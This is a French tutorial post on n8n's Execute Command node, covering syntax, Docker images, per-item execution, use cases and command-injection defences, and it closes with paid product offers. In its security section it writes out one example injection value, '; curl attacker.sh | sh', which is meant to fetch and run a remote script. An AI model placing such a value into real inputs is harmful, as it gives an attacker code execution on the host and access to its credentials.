Le node Execute Command de n8n : lancer des scripts shell depuis vos workflows
Publié le 5 août 2026 · 7 min de lecture
Parfois, le plus court chemin entre vos données et le résultat n'est ni un node d'intégration ni une API : c'est une commande shell. Convertir une vidéo avec ffmpeg, transformer un Markdown en PDF avec pandoc, déclencher un script de sauvegarde maison — le node Execute Command de n8n fait exactement cela : il lance une commande sur la machine où tourne n8n et vous rend la main avec la sortie. C'est l'un des nodes les plus puissants de la plateforme, et pour la même raison l'un des plus dangereux. Ce guide couvre la syntaxe, le piège du conteneur Docker minimaliste, les cas d'usage concrets et les règles de sécurité non négociables.
Ce que fait (et ne fait pas) le node Execute Command
Le principe est brut : le node exécute la commande que vous lui donnez sur la machine ou dans le conteneur qui héberge n8n, avec les droits du processus n8n. Deux conséquences immédiates :
- Self-hosted uniquement. Le node n'existe pas sur n8n Cloud — personne ne vous laissera lancer des commandes arbitraires sur une infrastructure mutualisée. Il vous faut votre propre instance, typiquement installée avec Docker.
- Bloqué par défaut depuis n8n 2.0. Pour limiter la surface d'attaque, les versions récentes désactivent Execute Command (et Local File Trigger) d'office. Pour l'utiliser, il faut le retirer explicitement de la liste d'exclusion, par exemple avec
NODES_EXCLUDE="[]"dans vos variables d'environnement. C'est un choix assumé : vous réactivez le node en connaissance de cause.
À ne pas confondre avec le node Code : ce dernier exécute du JavaScript (ou du Python) dans un sandbox, sans accès au système. Execute Command, lui, parle directement au shell.
Syntaxe de base : stdout, stderr, exitCode
La configuration tient en un champ, Command. Un exemple minimal :
df -h /home/node/.n8n | tail -n 1
Le node retourne un item avec trois champs :
{
"exitCode": 0,
"stdout": "/dev/sda1 40G 12G 26G 32% /home/node/.n8n",
"stderr": ""
}
Trois réflexes à prendre dès le premier workflow :
- Testez toujours
exitCode. Un node If juste derrière ({{ $json.exitCode }}différent de 0 → branche erreur) évite qu'un script planté passe pour un succès. stdoutest du texte brut. Si votre script produit du JSON, parsez-le dans un node Code juste après (JSON.parse($json.stdout)).- Enchaînez avec
&&, pas;.cd /data && ./process.shs'arrête si lecdéchoue ; avec;, la suite s'exécute quand même, au mauvais endroit.
Utiliser des expressions n8n dans la commande
Le champ Command accepte les expressions n8n classiques, ce qui permet de construire la commande à partir des items entrants :
ffmpeg -i /data/incoming/{{ $json.filename }} -vn -acodec libmp3lame /data/out/{{ $json.filename }}.mp3
C'est puissant — et c'est précisément là que se niche le risque d'injection de commande, on y revient plus bas. Règle de survie : n'interpolez que des valeurs que vous contrôlez ou que vous avez validées (un nom de fichier généré par votre propre workflow, un identifiant numérique vérifié), jamais du texte libre venu d'un webhook ou d'un formulaire.
Le contexte Docker : votre commande tourne dans le conteneur
Le piège classique du débutant : « ffmpeg est installé sur mon serveur, pourtant Execute Command me répond command not found ». Normal — si n8n tourne dans Docker, la commande s'exécute à l'intérieur du conteneur, pas sur l'hôte. Et l'image officielle n8nio/n8n est basée sur Alpine Linux, volontairement minimaliste : ni ffmpeg, ni pandoc, ni git, ni même bash complet.
Construire une image personnalisée
La solution propre est une image dérivée qui embarque vos outils :
FROM n8nio/n8n:latest
USER root
RUN apk add --no-cache ffmpeg pandoc git
USER node
Puis dans votre docker-compose.yml :
services:
n8n:
build: .
volumes:
- n8n_data:/home/node/.n8n
- ./shared:/data
Deux détails qui comptent :
- Revenez en
USER nodeaprès l'installation : l'image officielle tourne avec un utilisateur non privilégié, et c'est une protection que vous ne voulez pas perdre. - Montez un volume partagé (
./shared:/dataici) : les fichiers que votre commande lit ou produit doivent vivre sur un chemin accessible au conteneur, et un volume est le seul moyen de les échanger avec l'hôte ou d'autres services.
Dernier point : une image custom se reconstruit à chaque montée de version. Intégrez le docker compose build à votre procédure de mise à jour de n8n, sinon votre prochaine update écrasera vos outils.
Un item, une exécution — ou une seule fois pour tout
Comportement par défaut : le node lance une exécution de la commande par item entrant. Dix fichiers en entrée = dix processus ffmpeg lancés séquentiellement. C'est souvent ce qu'on veut pour de la conversion de fichiers, mais pas pour un script de maintenance qui n'a besoin de tourner qu'une fois.
Pour ce second cas, activez l'option Execute Once dans les paramètres du node : la commande ne s'exécute qu'une seule fois, sur le premier item. Pensez-y aussi pour les performances — une commande lourde multipliée par 500 items peut mettre votre instance à genoux.
Cas d'usage concrets
- Conversion de médias avec ffmpeg : extraire l'audio d'une vidéo, générer une miniature, normaliser un format avant envoi. Le combo webhook → Execute Command → node d'upload remplace un microservice entier.
- Génération de documents avec pandoc :
pandoc /data/rapport.md -o /data/rapport.pdftransforme le Markdown produit par votre workflow en PDF livrable. - Scripts de sauvegarde : déclencher un
pg_dumpou un script rsync sur planning Cron, en complément d'une vraie stratégie de sauvegarde PostgreSQL. - Opérations git : cloner ou puller un dépôt pour récupérer des fichiers de configuration ou publier du contenu généré.
- Appeler un binaire interne : un exécutable métier maison, un CLI propriétaire — tout ce qui n'a pas d'API mais accepte des arguments en ligne de commande.
Sécurité : le node le plus sensible de n8n
Execute Command exécute du shell avec les droits du processus n8n : toute donnée externe interpolée dans la commande est une porte d'entrée potentielle. Le scénario type : un champ « nom de fichier » rempli par un utilisateur contient ; curl attacker.sh | sh — et votre workflow l'exécute docilement. Ce n'est pas un risque théorique : les travaux fondateurs de Zhendong Su et Gary Wassermann, The Essence of Command Injection Attacks in Web Applications (POPL, 2006 — voir sur Google Scholar), ont formalisé ce mécanisme : l'injection réussit dès que l'entrée utilisateur modifie la structure syntaxique de la commande, pas seulement ses valeurs. Et le sujet reste d'actualité : une étude de Wang, Zhai et Yang publiée en 2024 dans Scientific Reports (voir sur Google Scholar) montre que la détection des injections de commande reste difficile face à des payloads de plus en plus obfusqués — raison de plus pour ne pas compter sur un filtrage a posteriori.
Les règles pratiques :
- N'interpolez jamais de texte libre externe. Validez en amont avec un node Code : liste blanche de caractères (
/^[a-zA-Z0-9._-]+$/pour un nom de fichier), rejet de tout le reste. - Passez par des chemins fixes. Plutôt que d'injecter un nom de fichier dans la commande, écrivez le fichier binaire sur un chemin contrôlé par le workflow, puis exécutez une commande entièrement statique.
- Sur une instance partagée, laissez le node bloqué. C'est le comportement par défaut depuis n8n 2.0 ; si vous gérez la liste vous-même, la syntaxe officielle est
NODES_EXCLUDE="[\"n8n-nodes-base.executeCommand\"]". Un utilisateur qui peut créer un workflow avec Execute Command peut lire les credentials de l'instance — le blocage n'est pas optionnel sur du multi-utilisateurs.
Les alternatives à considérer avant de dégainer le shell
- Le node Code pour toute logique de transformation de données : JavaScript natif ou Python via Pyodide, sandboxé, disponible partout y compris sur Cloud. Si votre « script » ne fait que manipuler du JSON, c'est le bon outil.
- Le node SSH pour exécuter une commande sur une autre machine que celle de n8n : le serveur qui héberge réellement
ffmpeg, un NAS, une machine de build. Même logique que pour les transferts SFTP : n8n orchestre, la machine distante exécute — et votre conteneur n8n reste minimal. - Un sous-workflow quand la commande fait partie d'une séquence réutilisée à plusieurs endroits : encapsulez le trio validation → Execute Command → contrôle d'exitCode dans un sous-workflow dédié, et aucun workflow appelant ne manipulera le shell directement.
En résumé
Execute Command est le passe-partout du self-hosted : une commande dans un champ, et n8n pilote ffmpeg, pandoc, git ou n'importe quel binaire, avec stdout, stderr et exitCode en retour. Les trois choses à retenir : sous Docker, la commande tourne dans le conteneur Alpine — construisez une image custom pour vos outils ; par défaut, le node s'exécute une fois par item — pensez à Execute Once ; et surtout, n'interpolez jamais de donnée externe non validée dans la commande, le node étant à juste titre bloqué par défaut depuis n8n 2.0. Si votre instance traite des données clients et que vous devez justifier qui exécute quoi, le Pack Conformité & Audit (149 €) fournit une piste d'audit prête à l'emploi qui trace ce genre d'opérations sensibles — exactement le filet de sécurité qu'on veut sous un node aussi puissant.
FAQ
Questions fréquentes
Le node Execute Command fonctionne-t-il sur n8n Cloud ?
Non. Execute Command exécute une commande directement sur la machine ou le conteneur où tourne n8n : il est donc réservé aux instances self-hosted et n'existe pas sur n8n Cloud. Depuis n8n 2.0, il est même bloqué par défaut en self-hosted pour des raisons de sécurité : il faut le réactiver explicitement via la variable d'environnement NODES_EXCLUDE (par exemple NODES_EXCLUDE="[]") avant de pouvoir l'utiliser.
Comment utiliser ffmpeg ou pandoc avec Execute Command sous Docker ?
L'image officielle n8nio/n8n est basée sur Alpine Linux et n'embarque quasiment aucun outil. La commande s'exécutant à l'intérieur du conteneur, il faut construire une image personnalisée : un Dockerfile qui part de FROM n8nio/n8n, passe en USER root, installe les paquets avec apk add --no-cache ffmpeg pandoc git, puis revient en USER node. Reconstruisez cette image à chaque mise à jour de n8n.
Comment récupérer le résultat et détecter l'échec d'une commande ?
Le node Execute Command retourne pour chaque exécution un item avec trois champs : stdout (la sortie standard), stderr (la sortie d'erreur) et exitCode (le code de retour du processus). Un exitCode différent de 0 signale un échec : ajoutez un node If juste après pour router les erreurs, car par défaut un script qui échoue avec un message sur stderr mais un code 0 passera pour un succès.
Bundle FlowKit Complet
269 €